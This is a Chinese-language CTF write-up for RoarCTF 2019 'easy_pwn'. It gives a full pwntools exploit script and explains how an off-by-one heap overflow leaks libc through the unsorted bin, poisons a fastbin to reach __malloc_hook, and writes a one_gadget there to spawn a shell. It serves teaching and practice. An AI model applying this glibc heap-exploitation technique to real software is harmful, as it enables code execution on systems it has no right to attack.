Roarctf 2019 easy_pwn
2020-06-27 21:57:46 Author: forum.90sec.com(查看原文) 阅读量:599 收藏

一个笔记系统,先添加然后才能编辑,在编辑的时候,如果输入的 size 比之前创建的时候大 10 的话,就会造成 off by one

先放一下 exp

#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
#p = remote('node3.buuoj.cn',26046)

def cmd(choice):
  p.sendlineafter('choice: ',str(choice))

def create(size):
  cmd(1)
  p.sendlineafter('size: ',str(size))
  
def write(index,size,content):
  cmd(2)
  p.sendlineafter('index: ',str(index))
  p.sendlineafter('size: ',str(size))
  p.sendlineafter('content: ',content)
  
def drop(index):
  cmd(3)
  p.sendlineafter('index: ',str(index))
  
def show(index):
  cmd(4)
  p.sendlineafter('index: ',str(index))

create(0x58) #0
create(0x60) #1
create(0x60) #2
create(0x60) #3
create(0x60) #4
write(0, 0x58 + 0xa, 'a'* 0x58 + '\xe1')
drop(1)
create(0x60) #5 = 1
show(2) #2 is unsortbin
p.recvuntil("content: ")
address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = address - 0x58 - 0x3c4b20
print hex(libc_base)
main_arean = address - 0x58
one = 0x4526a
realloc = libc_base + 0x846c0
print hex(realloc)
fake_chunk = main_arean - 0x33
create(0x60) #2(5)
drop(2)
write(5, 0x8, p64(fake_chunk))
create(0x60) #5 = 2
create(0x60) #6 fake chunk
realloc_addr=libc_base+libc.symbols['__libc_realloc']
payload = '\x00'*11 + p64(one + libc_base) + p64(realloc+2)
write(6, len(payload), payload)
gdb.attach(p)
create(255)
p.interactive()

希望把 chunk 放到 unsorted bin 中,然后通过 fd 指针来拿到 unsorted bin 的地址,从来获得 libc 的地址,但程序使用的是 colloc,他会把申请的内存块给清空,所以不能通过申请一个在 unsorted bin 范围内的 chunk,free 之后申请过来泄露地址,可以通过先申请几个,然后通过第 0 个的 off by one 把第 1 个的 size 给改掉,让他包含上第 2 个,然后把第一个 free 的时候,会把第 1 和 第 2 个一起放到 unsorted bin 中,然后申请回来第 1 个,这时候第二个的 fd 指针就指向了 unsorted bin 的地址

首先申请一些堆块

create(0x58) #0这一个必须要0x8结尾,不然的话没法溢出到size那里
create(0x60) #1
create(0x60) #2
create(0x60) #3
create(0x60) #4
image

然后对第 0 个进行编辑 write(0, 0x58 + 0xa, 'a'* 0x58 + '\xe1') 通过 off by one 把第 1 个的 size 给改成 0xe1

image

这时候 free 掉第 1 个,会放到 unsorted bin 中,然后他的 fd、bk 会指向 unsorted bin 的地址

image

这时候我们去把第 1 个申请回来,因为是 colloc 所以会置 0,但是我们可以用第 2 个来获得 unsorted bin 的地址

image

这个地址是 unsorted bin 链表的头部,跟 main_arena 的偏移固定 0x58,同时 main_arena 跟 libc 的偏移可以通过工具计算出来 https://github.com/bash-c/main_arena_offset

image
show(2) #2 is unsortbin
p.recvuntil("content: ")
address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = address - 0x58 - 0x3c4b20

然后再去申请 unsorted bin 中剩下的那块,这算第 5 个(第 2 个也指向他)

image

然后通过编辑第 5 个来修改他的 fd 的内容为 main_arean - 0x33 在 malloc_hook 附近,这个偏移是为了通过 size 的检查,这样能让他有个 0x7f 的 size

image

然后申请两次,就会申请到 fake_chunk(第 6 个),这时候编辑第六个的内容为

'\x00'*11 + p64(one + libc_base) + p64(realloc+2)

前面的 11 个 '\x00' 有 3 个是为了把错位给纠正过来,然后一个 0x10 是为了占空,再往后写就是覆写 relloc_hook 了,然后是 malloc_hook 的内容

这样写的原因是,one_gadget 的执行有时候需要一些条件

image

当不满足这些条件的时候,可以通过调用 realloc 函数调整 rsp

(可以试一下哪些可以正常用,比如这道题就是 realloc_addr+2)

image

所以上面意思是,先把 one_gadget 写到 realloc_hook 中,然后把 realloc_hook 写到 malloc_hook 中,当去 malloc 的时候会先去执行 malloc_hook(这里就是 realloc_hook),然后执行 realloc_hook 里的 one_gadget 从而拿到 shell


文章来源: https://forum.90sec.com/t/topic/1166/1
如有侵权请联系:admin#unsafe.sh